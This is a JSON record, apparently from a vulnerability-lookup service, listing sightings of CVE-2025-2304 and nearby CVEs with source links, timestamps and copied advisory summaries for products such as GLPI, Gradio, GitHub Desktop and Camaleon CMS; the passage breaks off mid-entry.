{"vulnerability": "cve-2025-2304", "sightings": [{"uuid": "87acdf7c-35e1-4831-bf68-7663179bd9d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23042", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lftcbfiosh23", "content": "", "creation_timestamp": "2025-01-16T03:04:53.632377Z"}, {"uuid": "f6b0a6d4-f3b8-4602-9b13-206dcb9cfe4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23041", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfpxnl4lzb2f", "content": "", "creation_timestamp": "2025-01-14T19:16:49.556401Z"}, {"uuid": "89f73949-bad2-4d64-8967-fedd53553c8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23042", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfpxnndj2s2t", "content": "", "creation_timestamp": "2025-01-14T19:16:51.656912Z"}, {"uuid": "5323639d-dc63-4711-aeed-3287e787eb9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23040", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfsephv7rx2n", "content": "", "creation_timestamp": "2025-01-15T18:15:51.221349Z"}, {"uuid": "b99acc52-0fd9-4a3b-aebf-65ffd17b5d64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23040", "type": "seen", "source": "https://github.blog/open-source/git/git-security-vulnerabilities-announced-5/", "content": "", "creation_timestamp": "2025-01-14T17:04:36.000000Z"}, {"uuid": "ff499dbc-d41b-4b72-bdf9-e9cc83594280", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23042", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lftit3bnrk2f", "content": "", "creation_timestamp": "2025-01-16T05:02:10.694595Z"}, {"uuid": "019e90bb-d4e7-4f64-a989-5cf96dee02c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23042", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lg76k7o3pc2d", "content": "", "creation_timestamp": "2025-01-20T20:30:10.495774Z"}, {"uuid": "08d173c6-48de-42f4-bcef-6b09830ce2ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23044", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113861471440807384", "content": "", "creation_timestamp": "2025-01-20T15:49:35.533104Z"}, {"uuid": "186c39bd-0896-49aa-839d-52f697ee11be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23044", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lg6qdnvj762s", "content": "", "creation_timestamp": "2025-01-20T16:15:56.650364Z"}, {"uuid": "9a7e57a6-e0f9-4464-9ae5-996d31dc4782", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23044", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lg6sigkigb2k", "content": "", "creation_timestamp": "2025-01-20T16:54:25.374183Z"}, {"uuid": "312bc2f8-1116-4cbf-8933-cb657877e9c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23045", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgt5rjua7s2b", "content": "", "creation_timestamp": "2025-01-28T19:09:38.577240Z"}, {"uuid": "676b0cdc-92b4-4f50-97b0-ed955c652387", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23040", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lgqcvwv2hn2u", "content": "", "creation_timestamp": "2025-01-27T16:03:32.820252Z"}, {"uuid": "41e116b3-e839-4f83-890f-e143709288c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23045", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgsu42tcvz2f", "content": "", "creation_timestamp": "2025-01-28T16:16:32.113360Z"}, {"uuid": "f4a55954-7fa9-4f6e-827b-28ba0eb7c7ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23040", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3lgsvanwiok2v", "content": "", "creation_timestamp": "2025-01-28T16:37:00.390836Z"}, {"uuid": "5c0be4d3-8aa3-45cd-a656-8999c56ff977", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23047", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgdxxy7mvw2j", "content": "", "creation_timestamp": "2025-01-22T18:15:53.463763Z"}, {"uuid": "98ff686f-5005-4061-8b66-ca0e62c8914a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23047", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lge5j7k7pi2e", "content": "", "creation_timestamp": "2025-01-22T19:55:07.400000Z"}, {"uuid": "78629195-c757-448c-a1f1-ff52f20f5652", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-2304", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lkdqechp2b2a", "content": "", "creation_timestamp": "2025-03-14T13:40:23.725152Z"}, {"uuid": "d9b85761-bf22-40f1-b49b-923ca804905b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23048", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q3/26", "content": "", "creation_timestamp": "2025-07-10T15:52:45.000000Z"}, {"uuid": "79d63c65-1c9a-42a6-849e-5e660e944f79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23048", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114830011674092966", "content": "", "creation_timestamp": "2025-07-10T17:02:07.590884Z"}, {"uuid": "433f9498-32dc-4ac9-8aac-7d3691c653e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23048", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ltmxj4ukzg2d", "content": "", "creation_timestamp": "2025-07-10T18:29:06.680819Z"}, {"uuid": "1c382816-ae49-426a-a2d4-512304837fe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23049", "type": "seen", "source": "https://bsky.app/profile/crowdcyber.bsky.social/post/3m2fmwstvqs26", "content": "", "creation_timestamp": "2025-10-04T22:27:35.414853Z"}, {"uuid": "cd067159-2170-4208-854d-0fd43239b191", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23049", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3m23ilsv24n25", "content": "", "creation_timestamp": "2025-09-30T21:43:14.447870Z"}, {"uuid": "94c06c14-b400-4d39-9b28-13dbca3bb288", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23049", "type": "seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3m24d7juogt2j", "content": "", "creation_timestamp": "2025-10-01T05:39:32.668798Z"}, {"uuid": "abf9559d-0a17-494e-ac95-12b6953e3fd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23045", "type": "seen", "source": "MISP/d0bda5d9-8cbc-4c6c-8803-a5e3150f9ec2", "content": "", "creation_timestamp": "2025-09-01T19:03:02.000000Z"}, {"uuid": "b15816fa-48c3-43ae-b3ee-bb04eb829770", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-2304", "type": "seen", "source": "https://gist.github.com/Fakechippies/72b000bf560329a41f9f8c81236a07d3", "content": "", "creation_timestamp": "2026-02-05T18:22:19.000000Z"}, {"uuid": "23813570-4bd8-47c1-a7ac-d28c907fb88e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2025-23048", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1761", "content": "", "creation_timestamp": "2026-02-12T04:00:00.000000Z"}, {"uuid": "2f0629d0-7008-4d32-8549-52f833ae703d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2025-23048", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1763", "content": "", "creation_timestamp": "2026-02-13T04:00:00.000000Z"}, {"uuid": "9ad4c24d-246e-4080-a0b9-404c88d0281e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2025-23048", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/bbcbc485-b88d-4831-b8e9-6e37e7bd9875", "content": "", "creation_timestamp": "2026-01-21T21:18:16.771453Z"}, {"uuid": "2dbc79d0-f751-4bfe-8340-051722835c57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23048", "type": "seen", "source": "https://gist.github.com/stanibaj/aca57b96987bd71f710831ed1f45b8a9", "content": "", "creation_timestamp": "2026-04-14T17:23:42.000000Z"}, {"uuid": "f520784c-8759-4cca-bf39-5ac009d95481", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23048", "type": "seen", "source": "https://gist.github.com/stanibaj/f1eecd7ed798506a268661c2be536136", "content": "", "creation_timestamp": "2026-04-14T18:32:12.000000Z"}, {"uuid": "fc64c326-eb36-49c2-9c00-7030c22bb862", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23048", "type": "seen", "source": "https://gist.github.com/stanibaj/0c272d06ca7cc073f1d673642e2e3e93", "content": "", "creation_timestamp": "2026-04-18T18:19:31.000000Z"}, {"uuid": "14ada46a-7351-4d78-a755-e848173ab62e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23048", "type": "seen", "source": "https://gist.github.com/stanibaj/968e63fb6a027d6a3443f0de61b97279", "content": "", "creation_timestamp": "2026-04-19T09:35:40.000000Z"}, {"uuid": "f1e2e738-ca0d-417c-aebe-9c2a4c6327cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23048", "type": "seen", "source": "https://gist.github.com/stanibaj/c568ae7bd5aee35ae501378f12e973ad", "content": "", "creation_timestamp": "2026-04-19T12:57:05.000000Z"}, {"uuid": "180b8b4a-b2f3-4af9-9e3b-7ef95a6d3869", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23048", "type": "seen", "source": "https://gist.github.com/stanibaj/b9432d60d00ca372cc2cfc88f4bff31b", "content": "", "creation_timestamp": "2026-04-19T14:35:21.000000Z"}, {"uuid": "236d22f7-604a-43a6-bc05-0c5e75d38532", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23046", "type": "seen", "source": "https://t.me/cvedetector/18905", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-23046 - GLPI OAuth Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2025-23046 \nPublished : Feb. 25, 2025, 6:15 p.m. | 1\u00a0hour, 46\u00a0minutes ago \nDescription : GLPI is a free asset and IT management software package. Starting in version 9.5.0 and prior to version 10.0.18, if a \"Mail servers\" authentication provider is configured to use an Oauth connection provided by the OauthIMAP plugin, anyone can connect to GLPI using a user name on which an Oauth authorization has already been established. Version 10.0.18 contains a patch. As a workaround, one may disable any \"Mail servers\" authentication provider configured to use an Oauth connection provided by the OauthIMAP plugin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-25T21:33:59.000000Z"}, {"uuid": "b410c15f-7507-48b3-a103-725a78bfe05b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23048", "type": "published-proof-of-concept", "source": "Telegram/TdGyPlotjZBHY9caFGPHDrfhM1u9N2kdVcipqf75AoDeXNo", "content": "", "creation_timestamp": "2025-10-22T09:00:04.000000Z"}, {"uuid": "570e7086-170b-4b5c-b44f-221cbff8eb0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23041", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1577", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-23041\n\ud83d\udd39 Description: Umbraco.Forms is a web form framework written for the nuget ecosystem. Character limits configured by editors for short and long answer fields are validated only client-side, not server-side. This issue has been patched in versions 8.13.16, 10.5.7, 13.2.2, and 14.1.2. Users are advised to upgrade. There are no known workarounds for this issue.\n\ud83d\udccf Published: 2025-01-14T18:54:45.430Z\n\ud83d\udccf Modified: 2025-01-14T18:54:45.430Z\n\ud83d\udd17 References:\n1. https://github.com/umbraco/Umbraco.Forms.Issues/security/advisories/GHSA-9v8m-qv22-f268", "creation_timestamp": "2025-01-14T19:10:25.000000Z"}, {"uuid": "69ac986a-b6d9-40b2-b17f-f4d77c076d1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23042", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1584", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-23042\n\ud83d\udd39 Description: Gradio is an open-source Python package that allows quick building of demos and web application for machine learning models, API, or any arbitrary Python function. Gradio's Access Control List (ACL) for file paths can be bypassed by altering the letter case of a blocked file or directory path. This vulnerability arises due to the lack of case normalization in the file path validation logic. On case-insensitive file systems, such as those used by Windows and macOS, this flaw enables attackers to circumvent security restrictions and access sensitive files that should be protected. This issue can lead to unauthorized data access, exposing sensitive information and undermining the integrity of Gradio's security model. Given Gradio's popularity for building web applications, particularly in machine learning and AI, this vulnerability may pose a substantial threat if exploited in production environments. This issue has been addressed in release version 5.6.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.\n\ud83d\udccf Published: 2025-01-14T18:49:16.329Z\n\ud83d\udccf Modified: 2025-01-14T18:49:16.329Z\n\ud83d\udd17 References:\n1. https://github.com/gradio-app/gradio/security/advisories/GHSA-j2jg-fq62-7c3h", "creation_timestamp": "2025-01-14T19:11:01.000000Z"}, {"uuid": "2351831a-e854-4bb1-ad09-d37af413bc03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23040", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1812", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-23040\n\ud83d\udd39 Description: GitHub Desktop is an open-source Electron-based GitHub app designed for git development. An attacker convincing a user to clone a repository directly or through a submodule can allow the attacker access to the user's credentials through the use of maliciously crafted remote URL. GitHub Desktop relies on Git to perform all network related operations (such as cloning, fetching, and pushing). When a user attempts to clone a repository GitHub Desktop will invoke `git clone` and when Git encounters a remote which requires authentication it will request the credentials for that remote host from GitHub Desktop using the git-credential protocol. Using a maliciously crafted URL it's possible to cause the credential request coming from Git to be misinterpreted by Github Desktop such that it will send credentials for a different host than the host that Git is currently communicating with thereby allowing for secret exfiltration. GitHub username and OAuth token, or credentials for other Git remote hosts stored in GitHub Desktop could be improperly transmitted to an unrelated host. Users should update to GitHub Desktop 3.4.12 or greater which fixes this vulnerability. Users who suspect they may be affected should revoke any relevant credentials.\n\ud83d\udccf Published: 2025-01-15T17:25:00.945Z\n\ud83d\udccf Modified: 2025-01-15T17:25:00.945Z\n\ud83d\udd17 References:\n1. https://github.com/desktop/desktop/security/advisories/GHSA-36mm-rh9q-cpqq\n2. https://docs.github.com/en/apps/using-github-apps/reviewing-and-revoking-authorization-of-github-apps\n3. https://git-scm.com/docs/git-credential", "creation_timestamp": "2025-01-15T17:54:47.000000Z"}, {"uuid": "4e43870c-17e0-47bd-ac55-0006960e2405", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23044", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2366", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-23044\n\ud83d\udd39 Description: PwnDoc is a penetration test report generator. There is no CSRF protection in pwndoc, allowing attackers to send requests on a logged-in user's behalf. This includes GET and POST requests due to the missing SameSite= attribute on cookies and the ability to refresh cookies. Commit 14acb704891245bf1703ce6296d62112e85aa995 patches the issue.\n\ud83d\udccf Published: 2025-01-20T15:43:23.882Z\n\ud83d\udccf Modified: 2025-01-20T15:43:23.882Z\n\ud83d\udd17 References:\n1. https://github.com/pwndoc/pwndoc/security/advisories/GHSA-9v2v-jxvw-52rq\n2. https://github.com/pwndoc/pwndoc/commit/14acb704891245bf1703ce6296d62112e85aa995", "creation_timestamp": "2025-01-20T16:01:44.000000Z"}, {"uuid": "c4b748a2-10c4-44c5-9928-264f0e4995c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23047", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2608", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-23047\n\ud83d\udd39 Description: Cilium is a networking, observability, and security solution with an eBPF-based dataplane. An insecure default `Access-Control-Allow-Origin` header value could lead to sensitive data exposure for users of Cilium versions 1.14.0 through 1.14.7, 1.15.0 through 1.15.11, and 1.16.0 through 1.16.4 who deploy Hubble UI using either Cilium CLI or via the Cilium Helm chart. A user with access to a Hubble UI instance affected by this issue could leak configuration details about the Kubernetes cluster which Hubble UI is monitoring, including node names, IP addresses, and other metadata about workloads and the cluster networking configuration. In order for this vulnerability to be exploited, a victim would have to first visit a malicious page. This issue is fixed in Cilium v1.14.18, v1.15.12, and v1.16.5. As a workaround, users who deploy Hubble UI using the Cilium Helm chart directly can remove the CORS headers from the Helm template as shown in the patch from commit a3489f190ba6e87b5336ee685fb6c80b1270d06d.\n\ud83d\udccf Published: 2025-01-22T17:20:09.715Z\n\ud83d\udccf Modified: 2025-01-22T17:20:09.715Z\n\ud83d\udd17 References:\n1. https://github.com/cilium/cilium/security/advisories/GHSA-h78m-j95m-5356\n2. https://github.com/cilium/cilium/commit/a3489f190ba6e87b5336ee685fb6c80b1270d06d", "creation_timestamp": "2025-01-22T18:02:40.000000Z"}, {"uuid": "4e5cd3e6-2979-413c-95e2-0f91b60853b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23046", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5342", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-23046\n\ud83d\udd25 CVSS Score: 6.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: GLPI is a free asset and IT management software package. Starting in version 9.5.0 and prior to version 10.0.18, if a \"Mail servers\" authentication provider is configured to use an Oauth connection provided by the OauthIMAP plugin, anyone can connect to GLPI using a user name on which an Oauth authorization has already been established. Version 10.0.18 contains a patch. As a workaround, one may disable any \"Mail servers\" authentication provider configured to use an Oauth connection provided by the OauthIMAP plugin.\n\ud83d\udccf Published: 2025-02-25T17:48:17.801Z\n\ud83d\udccf Modified: 2025-02-25T17:48:17.801Z\n\ud83d\udd17 References:\n1. https://github.com/glpi-project/glpi/security/advisories/GHSA-vfxc-qg3v-j2r5\n2. https://github.com/glpi-project/glpi/releases/tag/10.0.18", "creation_timestamp": "2025-02-25T18:22:35.000000Z"}, {"uuid": "6deab876-ca75-493f-bbb1-76077753ca26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-2304", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7546", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-2304\n\ud83d\udd25 CVSS Score: 9.4 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)\n\ud83d\udd39 Description: A Privilege Escalation through a Mass Assignment exists in Camaleon CMS\n\nWhen a user wishes to change his password, the 'updated_ajax' method of the UsersController is called. The vulnerability stems from the use of the dangerous permit!\u00a0method, which allows all parameters to pass through without any filtering.\n\ud83d\udccf Published: 2025-03-14T12:34:19.489Z\n\ud83d\udccf Modified: 2025-03-14T13:38:33.747Z\n\ud83d\udd17 References:\n1. https://www.tenable.com/security/research/tra-2025-09\n2. https://github.com/owen2345/camaleon-cms", "creation_timestamp": "2025-03-14T13:47:11.000000Z"}, {"uuid": "916e6851-fdad-403b-99f3-444664a0c49f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-2304", "type": "published-proof-of-concept", "source": "Telegram/HmmEzJhZyvq9Cl_v7Ie06-_y_8uCAlQkd_ZcpfWOTCxlQxA", "content": "", "creation_timestamp": "2026-04-20T03:00:06.000000Z"}, {"uuid": "66ba96e1-42a0-468a-bdc5-889c51497469", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-2304", "type": "published-proof-of-concept", "source": "Telegram/LegGEKh0JTQmQ5caQ5fsgnXr59alAvRjbf9RqdH14mBAnic", "content": "", "creation_timestamp": "2026-04-25T03:00:05.000000Z"}, {"uuid": "86d125a6-5fee-4dd1-8e8e-12f356d1318a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23049", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/19195", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-23049\n\ud83d\udd25 CVSS Score: 8.4 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:H/SC:L/SI:L/SA:L)\n\ud83d\udd39 Description: Meridian Technique Materialise OrthoView through 7.5.1 allows OS Command Injection when servlet sharing is enabled.\n\ud83d\udccf Published: 2025-06-23T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-23T11:29:52.543Z\n\ud83d\udd17 References:\n1. https://www.materialise.com/en/healthcare/orthoview\n2. https://www.materialise.com/en/healthcare/orthoview/security-vulnerability", "creation_timestamp": "2025-06-23T11:46:58.000000Z"}, {"uuid": "1a0ae0b9-e29b-4dea-972f-28e170e66136", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-2304", "type": "published-proof-of-concept", "source": "Telegram/QWh54U4nMwQckAM9d9Q-FJNnfECO_NAP6OGvP6c5SSPdEWQ", "content": "", "creation_timestamp": "2026-04-24T23:00:15.000000Z"}, {"uuid": "cf1203b9-51ce-4ce0-8d59-4c8350caa4bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23048", "type": "published-proof-of-concept", "source": "Telegram/zZq4LjCv3lg7SAnTEL8ri9PTbsoMxz2uCoiE6kbrXJdK8WQ", "content": "", "creation_timestamp": "2025-10-22T15:00:07.000000Z"}, {"uuid": "bba3cf0b-8881-4211-85c2-a79e0d35eb5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23048", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/56511", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aThis repository contains POC scenarios as part of CVE-2025-0411 MotW bypass.\nURL\uff1ahttps://github.com/absholi7ly/CVE-2025-23048-POC\n\n\u6807\u7b7e\uff1a#CVE-2025", "creation_timestamp": "2025-10-22T12:46:30.000000Z"}, {"uuid": "98812b1d-a46a-4b4b-b412-254e94c7b3fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23049", "type": "published-proof-of-concept", "source": "Telegram/HXBqyCxgvMHLtEfnDSGBXVUAF1NVCNReOpP5SUo5lvs4FM4", "content": "", "creation_timestamp": "2025-06-23T12:01:46.000000Z"}, {"uuid": "93c12509-6f65-450e-902f-30a367a7e371", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23045", "type": "seen", "source": "https://t.me/cvedetector/16611", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-23045 - CVAT Nuclio Function Code Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-23045 \nPublished : Jan. 28, 2025, 4:15 p.m. | 1\u00a0hour, 18\u00a0minutes ago \nDescription : Computer Vision Annotation Tool (CVAT) is an interactive video and image annotation tool for computer vision. An attacker with an account on an affected CVAT instance is able to run 